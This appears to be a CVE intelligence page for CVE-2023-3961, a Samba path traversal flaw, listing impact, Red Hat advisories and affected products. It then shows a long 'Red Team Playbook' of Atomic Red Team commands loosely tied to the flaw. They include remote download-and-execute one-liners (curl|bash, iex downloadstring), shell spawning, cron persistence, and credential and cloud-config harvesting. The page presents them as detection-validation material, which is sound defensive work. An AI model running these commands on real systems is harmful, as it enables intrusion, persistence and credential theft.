CVE-2023-3961
Overview
This vulnerability is a path traversal flaw in the Samba component of Red Hat Enterprise Linux 8. It arises from insufficient sanitization of client-supplied pipe names used to connect SMB clients to Unix domain sockets within a private directory. The affected mechanism involves Samba's handling of Unix domain socket paths for remote procedure call (RPC) services such as SAMR, LSA, and SPOOLSS.
Vulnerability Description
A path traversal vulnerability was identified in Samba when processing client pipe names connecting to Unix domain sockets within a private directory. Samba typically uses this mechanism to connect SMB clients to remote procedure call (RPC) services like SAMR LSA or SPOOLSS, which Samba initiates on demand. However, due to inadequate sanitization of incoming client pipe names, allowing a client to send a pipe name containing Unix directory traversal characters (../). This could result in SMB clients connecting as root to Unix domain sockets outside the private directory. If an attacker or client managed to send a pipe name resolving to an external service using an existing Unix domain socket, it could potentially lead to unauthorized access to the service and consequential adverse events, including compromise or service crashes.
Impact
An unauthenticated attacker can exploit this vulnerability remotely by sending crafted SMB requests to connect to unauthorized Unix domain sockets as root. This unauthorized access may allow the attacker to interact with sensitive services, potentially leading to service crashes or compromise of system components. The attack requires no prior authentication or user interaction, enabling lateral movement or privilege escalation within affected environments.
Solution
Red Hat has issued multiple advisories addressing this vulnerability, including RHSA-2023:6209, RHSA-2023:6744, RHSA-2023:7371, RHSA-2023:7408, and RHSA-2023:7464. Users of Red Hat Enterprise Linux 8 and Red Hat Storage 3.0 should apply the corresponding patches from these advisories promptly. Detailed patch instructions and updates are available at Red Hat's security portal under the referenced advisories.
EPSS vs KEV Prediction — Evolution (30 days)
Affected Products (7)
| Vendor | Product | Version | CPE | |
|---|---|---|---|---|
|
|
Samba | Samba | All |
cpe:2.3:a:samba:samba:*:*:*:*:*:*:*:*
|
|
|
Samba | Samba | All |
cpe:2.3:a:samba:samba:*:*:*:*:*:*:*:*
|
|
|
Samba | Samba | All |
cpe:2.3:a:samba:samba:*:*:*:*:*:*:*:*
|
|
|
Redhat | Storage | 3.0 |
cpe:2.3:a:redhat:storage:3.0:*:*:*:*:*:*:*
|
|
|
Redhat | Enterprise Linux | 8.0 |
cpe:2.3:o:redhat:enterprise_linux:8.0:*:*:*:*:*:*:*
|
|
|
Redhat | Enterprise Linux Eus | 9.0 |
cpe:2.3:o:redhat:enterprise_linux_eus:9.0:*:*:*:*:*:*:*
|
|
|
Fedoraproject | Fedora | 39 |
cpe:2.3:o:fedoraproject:fedora:39:*:*:*:*:*:*:*
|
Exploits
No exploits found for this CVE.
Threat Feed
0 eventsNo threat activity recorded for this CVE.
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
Red Team Playbook
62 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
netstat -ano
net use
net sessions 2>nul
netstat
who -a
Get-NetTCPConnection | ForEach-Object {
$p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
[pscustomobject]@{
Local = "$($_.LocalAddress):$($_.LocalPort)"
Remote = "$($_.RemoteAddress):$($_.RemotePort)"
State = $_.State
PID = $_.OwningProcess
Process = if ($p) { $p.ProcessName } else { $null }
}
} | Sort-Object State,Process | Format-Table -AutoSize
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
Get-NetTCPConnection
echo "#{command}" > /etc/cron.d/#{cron_script_name}
echo "#{command}" >> /var/spool/cron/crontabs/#{cron_script_name}
echo "#{command}" > /etc/cron.daily/#{cron_script_name}
echo "#{command}" > /etc/cron.hourly/#{cron_script_name}
echo "#{command}" > /etc/cron.monthly/#{cron_script_name}
echo "#{command}" > /etc/cron.weekly/#{cron_script_name}
crontab -l > /tmp/notevil
echo "* * * * * #{command}" > #{tmp_cron} && crontab #{tmp_cron}
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1 cpan
uname -srm
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
chmod +x #{autosuid}
bash #{autosuid}
chmod +x #{linenum}
bash #{linenum}
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
awk 'BEGIN {system("/bin/sh &")}'
busybox sh &
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
cat /etc/shells
sudo emacs -Q -nw --eval '(term "/bin/sh &")'
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
for pid in $(pgrep -f 'Runner.Worker|Runner.Listener|runsvc|run.sh' 2>/dev/null); do tr '\0' '\n' < /proc/$pid/environ 2>/dev/null | grep -iE 'env|ssh'; done
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path} -maxdepth 6 -name "#{filename}" -type f #{optional_flags} 2>/dev/null
find #{file_path} -path '*/.aws/#{filename}' -type f 2>/dev/null
find #{file_path} -path '*/.azure/#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -path '*/.docker/#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -path '*/.config/gcloud/#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
find /root -path '*/.kube/config' -type f #{optional_flags} 2>/dev/null
find /etc/kubernetes -name '*.conf' -type f #{optional_flags} 2>/dev/null
find #{file_path} -path '*/.kube/config' -type f #{optional_flags} 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for filename in #{filenames}; do find #{file_path} -name "$filename" -type f #{optional_flags} 2>/dev/null; done
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
for filename in #{filenames}; do
find #{file_path} -name "$filename" -type f #{optional_flags} 2>/dev/null
done
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
find /etc/mysql -name 'my.cnf' -type f #{optional_flags} 2>/dev/null
find /etc/redis -name 'redis.conf' -type f #{optional_flags} 2>/dev/null
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles or mentions found for this CVE.